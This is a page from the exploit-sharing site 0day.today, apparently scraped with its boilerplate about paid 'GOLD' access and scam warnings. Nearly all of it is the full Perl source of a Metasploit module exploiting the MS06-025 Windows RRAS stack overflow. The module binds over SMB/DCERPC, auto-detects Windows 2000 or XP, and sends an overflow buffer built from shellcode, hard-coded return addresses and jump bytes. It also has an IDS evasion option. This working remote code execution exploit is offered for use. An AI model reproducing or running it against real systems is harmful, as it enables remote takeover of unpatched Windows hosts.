0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MS Windows RRAS Remote Stack Overflow Exploit (MS06-025)
======================================================== MS Windows RRAS Remote Stack Overflow Exploit (MS06-025) ======================================================== ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::rras_ms06_025; use base "Msf::Exploit"; use strict; use Pex::DCERPC; use Pex::NDR; my $advanced = { 'FragSize' => [ 256, 'The DCERPC fragment size' ], 'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ], 'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ], }; my $info = { 'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' => [ 'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>', 'H D Moore <hdm [at] metasploit.com>' ], 'Arch' => ['x86'], 'OS' => [ 'win32', 'win2000', 'winxp' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [ 1, 'ADDR', 'The target address' ], # SMB connection options 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''], 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], 'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ], }, 'Payload' => { 'Space' => 1104, 'BadChars' => "\x00", 'Keys' => ['+ws2ord'], # sub esp, 4097 + inc esp makes stack happy 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Description' => Pex::Text::Freeform( qq{ This module exploits a stack overflow in the Windows Routing and Remote Access Service. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000. When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. } ), 'Refs' => [ [ 'BID', '18325' ], [ 'CVE', '2006-2370' ], [ 'OSVDB', '26437' ], [ 'MSB', 'MS06-025' ] ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic' ], [ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret [ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret ], 'Keys' => ['rras'], 'DisclosureDate' => 'Jun 13 2006', }; sub new { my ($class) = @_; my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ ); return ($self); } sub Exploit { my ($self) = @_; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; my $FragSize = $self->GetVar('FragSize') || 256; my $target = $self->Targets->[$target_idx]; my ( $res, $rpc ); if ( !$self->InitNops(128) ) { $self->PrintLine("[*] Failed to initialize the nop module."); return; } my $pipe = "\\" . $self->GetVar("SMBPIPE"); my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df'; my $version = '1.0'; my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe ); my $dce = Pex::DCERPC->new( 'handle' => $handle, 'username' => $self->GetVar('SMBUSER'), 'password' => $self->GetVar('SMBPASS'), 'domain' => $self->GetVar('SMBDOM'), 'fragsize' => $self->GetVar('FragSize'), 'bindevasion' => $self->GetVar('BindEvasion'), 'directsmb' => $self->GetVar('DirectSMB'), ); if ( !$dce ) { $self->PrintLine("[*] Could not bind to $handle"); return; } my $smb = $dce->{'_handles'}{$handle}{'connection'}; if ( $target->[0] =~ /Auto/ ) { if ( $smb->PeerNativeOS eq 'Windows 5.0' ) { $target = $self->Targets->[1]; $self->PrintLine('[*] Detected a Windows 2000 target...'); } elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) { $target = $self->Targets->[2]; $self->PrintLine('[*] Detected a Windows XP target...'); } else { $self->PrintLine( '[*] No target available : ' . $smb->PeerNativeOS() ); return; } } my $pattern = ''; if ($target->[0] =~ /Windows 2000/) { $pattern = pack( 'V', 1 ) . pack( 'V', 0x49 ) . $shellcode . "\xeb\x06" . Pex::Text::AlphaNumText(2). pack( 'V', $target->[1] ) . "\xe9\xb7\xfb\xff\xff" ; } elsif( $target->[0] =~ /Windows XP/) { $pattern = pack( 'V', 1 ) . pack( 'V', 0x49 ) . Pex::Text::AlphaNumText(0x4c). "\xeb\x06" . Pex::Text::AlphaNumText(2). pack( 'V', $target->[1] ) . $shellcode; } else { self->PrintLine( '[*] No target available...'); return; } # need to produce an exception my $request = $pattern . Pex::Text::AlphaNumText(0x4000 - length($pattern)); my $len = length ($request); my $stub = Pex::NDR::Long( int( 0x20000 ) ) . Pex::NDR::Long( int( $len ) ) . $request . Pex::NDR::Long( int( $len ) ); $self->PrintLine("[*] Sending request..."); my @response = $dce->request( $handle, 0x0C, $stub ); if (@response) { $self->PrintLine('[*] RPC server responded with:'); foreach my $line (@response) { $self->PrintLine( '[*] ' . $line ); } $self->PrintLine('[*] This probably means that the system is patched'); } return; } 1; # 0day.today [2024-11-15] #